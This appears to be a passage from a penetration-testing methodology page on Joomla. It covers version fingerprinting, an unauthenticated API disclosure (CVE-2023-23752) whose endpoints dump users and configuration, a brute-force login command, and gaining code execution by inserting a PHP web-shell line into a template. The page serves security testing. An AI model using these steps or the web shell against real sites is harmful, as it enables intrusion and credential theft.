{% endhint %} ### Joomla Statistics Joomla collects some anonymous [usage statistics](https://developer.joomla.org/about/stats.html) such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public [API](https://developer.joomla.org/about/stats/api.html). ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool { "data": { "cms_version": { "3.0": 0, "3.1": 0, "3.10": 6.33, "3.2": 0.01, "3.3": 0.02, "3.4": 0.05, "3.5": 12.24, "3.6": 22.85, "3.7": 7.99, "3.8": 17.72, "3.9": 27.24, "4.0": 3.21, "4.1": 1.53, "4.2": 0.82, "4.3": 0, "5.0": 0 }, "total": 2951032 } } ``` ## Enumeration ### Discovery/Footprinting * Check the **meta** ```bash curl https://www.joomla.org/ | grep Joomla | grep generator ``` * robots.txt ``` # If the Joomla site is installed within a folder # eg www.example.com/joomla/ then the robots.txt file # MUST be moved to the site root # eg www.example.com/robots.txt # AND the joomla folder name MUST be prefixed to all of the # paths. [...] ``` * README.txt ``` 1- What is this? * This is a Joomla! installation/upgrade package to version 3.x * Joomla! Official site: https://www.joomla.org * Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging ``` ### Version * In **/administrator/manifests/files/joomla.xml** you can see the version. * In **/language/en-GB/en-GB.xml** you can get the version of Joomla. * In **plugins/system/cache/cache.xml** you can see an approximate version. ### Automatic ```bash droopescan scan joomla --url http://joomla-site.local/ ``` In[ **80,443 - Pentesting Web Methodology is a section about CMS scanners**](./#cms-scanners) that can scan Joomla. ### API Unauthenticated Information Disclosure: Versions From 4.0.0 to 4.2.7 are vulnerable to Unauthenticated information disclosure (CVE-2023-23752) that will dump creds and other information. * Users: `http:///api/v1/users?public=true` * Config File: `http:///api/index.php/v1/config/application?public=true` **MSF Module**: `scanner/http/joomla_api_improper_access_checks` or ruby script: [51334](https://www.exploit-db.com/exploits/51334) ### Brute-Force You can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login. ```shell-session sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin admin:admin ``` ## RCE If you managed to get **admin credentials** you can **RCE inside of it** by adding a snippet of **PHP code** to gain **RCE**. We can do this by **customizing** a **template**. 1. **Click** on **`Templates`** on the bottom left under `Configuration` to pull up the templates menu. 2. **Click** on a **template** name. Let's choose **`protostar`** under the `Template` column header. This will bring us to the **`Templates: Customise`** page. 3. Finally, you can click on a page to pull up the **page source**. Let's choose the **`error.php`** page. We'll add a **PHP one-liner to gain code execution** as follows: 1. **`system($_GET['cmd']);`** 4. **Save & Close** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` ## From XSS to RCE * [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script that **elevate XSS to RCE or Others Critical Vulnerabilities**. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Joomla Versions 5.X.X, 4.X.X, and 3.X.X, and allows to:** * _**Privilege Escalation:**_ Creates an user in Joomla. * _**(RCE) Built-In Templates Edit:**_ Edit a Built-In Templates in Joomla. * _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party Joomla Plugins. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
